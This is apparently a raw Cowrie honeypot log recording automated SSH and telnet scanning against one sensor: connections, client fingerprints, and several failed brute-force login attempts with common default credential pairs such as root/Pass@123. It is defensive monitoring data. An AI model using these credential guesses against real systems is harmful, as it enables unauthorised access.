{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:48.226080Z","src_ip":"45.156.87.253","session":"c063a39d6d86","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":45766,"dst_ip":"10.17.0.5","dst_port":22,"session":"ac18bcaa7e06","protocol":"ssh","message":"New connection: 45.156.87.253:45766 (10.17.0.5:22) [session: ac18bcaa7e06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:49.799854Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:49.848553Z","src_ip":"45.156.87.253","session":"ac18bcaa7e06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:49.913563Z","src_ip":"45.156.87.253","session":"ac18bcaa7e06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"operator","password":"operator2026","message":"login attempt [operator/operator2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:50.201121Z","src_ip":"45.156.87.253","session":"ac18bcaa7e06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.11","src_port":33574,"dst_ip":"10.17.0.5","dst_port":22,"session":"cb143a11f8c8","protocol":"ssh","message":"New connection: 91.92.40.11:33574 (10.17.0.5:22) [session: cb143a11f8c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:50.327531Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:50.463939Z","src_ip":"91.92.40.11","session":"cb143a11f8c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:50.466701Z","src_ip":"91.92.40.11","session":"cb143a11f8c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:51.283412Z","src_ip":"45.156.87.253","session":"ac18bcaa7e06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"apache","password":"1234","message":"login attempt [apache/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:51.564820Z","src_ip":"91.92.40.11","session":"cb143a11f8c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:52.877256Z","src_ip":"91.92.40.11","session":"cb143a11f8c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":45770,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c4b3b449bd2","protocol":"ssh","message":"New connection: 45.156.87.253:45770 (10.17.0.5:22) [session: 1c4b3b449bd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:52.887310Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:52.891399Z","src_ip":"45.156.87.253","session":"1c4b3b449bd2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:52.971922Z","src_ip":"45.156.87.253","session":"1c4b3b449bd2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oscar","password":"1234","message":"login attempt [oscar/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:53.215021Z","src_ip":"45.156.87.253","session":"1c4b3b449bd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:54.367579Z","src_ip":"45.156.87.253","session":"1c4b3b449bd2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":45784,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec87a55e2f98","protocol":"ssh","message":"New connection: 45.156.87.253:45784 (10.17.0.5:22) [session: ec87a55e2f98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:55.859846Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:55.863671Z","src_ip":"45.156.87.253","session":"ec87a55e2f98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:55.946449Z","src_ip":"45.156.87.253","session":"ec87a55e2f98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa@123456","message":"login attempt [root/Aa@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:56.189029Z","src_ip":"45.156.87.253","session":"ec87a55e2f98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:57.272534Z","src_ip":"45.156.87.253","session":"ec87a55e2f98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":45786,"dst_ip":"10.17.0.5","dst_port":22,"session":"345d8a40714c","protocol":"ssh","message":"New connection: 45.156.87.253:45786 (10.17.0.5:22) [session: 345d8a40714c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:58.859675Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:58.863060Z","src_ip":"45.156.87.253","session":"345d8a40714c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:58.943210Z","src_ip":"45.156.87.253","session":"345d8a40714c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jack","password":"1234","message":"login attempt [jack/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:02:59.185622Z","src_ip":"45.156.87.253","session":"345d8a40714c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:00.268489Z","src_ip":"45.156.87.253","session":"345d8a40714c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":41356,"dst_ip":"10.17.0.5","dst_port":22,"session":"ea948ea46d46","protocol":"ssh","message":"New connection: 45.156.87.253:41356 (10.17.0.5:22) [session: ea948ea46d46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:01.846598Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:01.851161Z","src_ip":"45.156.87.253","session":"ea948ea46d46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.83627939224243,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:02.002067Z","src_ip":"115.160.92.142","session":"d6f5d43fa948","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:02.005679Z","src_ip":"45.156.87.253","session":"ea948ea46d46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.160.92.142","src_port":60945,"dst_ip":"159.203.135.109","dst_port":23,"session":"c5a1bb2d49cf","protocol":"telnet","message":"New connection: 115.160.92.142:60945 (159.203.135.109:23) [session: c5a1bb2d49cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:02.154103Z"}
{"eventid":"cowrie.login.failed","username":"frank","password":"frank","message":"login attempt [frank/frank] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:02.374682Z","src_ip":"45.156.87.253","session":"ea948ea46d46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"b'\\xcb\\xcd\\xdb\\xcc'","password":"b'\\xce\\xdf\\xcd\\xcd\\xc9\\xd1\\xcc\\xda'","message":"login attempt [b'\\xcb\\xcd\\xdb\\xcc'/b'\\xce\\xdf\\xcd\\xcd\\xc9\\xd1\\xcc\\xda'] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:03.004024Z","src_ip":"115.160.92.142","session":"c5a1bb2d49cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:03.457704Z","src_ip":"45.156.87.253","session":"ea948ea46d46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lghkel\t","password":"zpz}ld\t","message":"login attempt [lghkel\t/zpz}ld\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:03.899963Z","src_ip":"115.160.92.142","session":"c5a1bb2d49cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":41370,"dst_ip":"10.17.0.5","dst_port":22,"session":"3d64b9f7b54e","protocol":"ssh","message":"New connection: 45.156.87.253:41370 (10.17.0.5:22) [session: 3d64b9f7b54e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:04.956599Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:04.961038Z","src_ip":"45.156.87.253","session":"3d64b9f7b54e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zalee\t","password":"za\t","message":"login attempt [zalee\t/za\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:05.031108Z","src_ip":"115.160.92.142","session":"c5a1bb2d49cf","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:05.094455Z","src_ip":"45.156.87.253","session":"3d64b9f7b54e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pass@123","message":"login attempt [root/Pass@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:05.338674Z","src_ip":"45.156.87.253","session":"3d64b9f7b54e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:06.422211Z","src_ip":"45.156.87.253","session":"3d64b9f7b54e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":41378,"dst_ip":"10.17.0.5","dst_port":22,"session":"32182e966d88","protocol":"ssh","message":"New connection: 45.156.87.253:41378 (10.17.0.5:22) [session: 32182e966d88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:07.926018Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:07.929749Z","src_ip":"45.156.87.253","session":"32182e966d88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:08.011826Z","src_ip":"45.156.87.253","session":"32182e966d88","protocol":"ssh"}
